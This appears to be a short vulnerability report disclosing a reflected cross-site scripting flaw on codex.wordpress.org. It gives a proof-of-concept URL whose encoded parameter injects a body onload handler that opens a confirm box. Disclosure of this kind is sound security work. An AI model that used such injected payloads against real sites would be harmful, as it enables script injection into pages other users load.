Automattic: XSS on codex.wordpress.org

Proof-of-concept here - http://codex.wordpress.org/thumb.php?f=xss%23%3Cbody%09onload=confirm%28String.fromCharCode%2888,83,83%29%29%3E...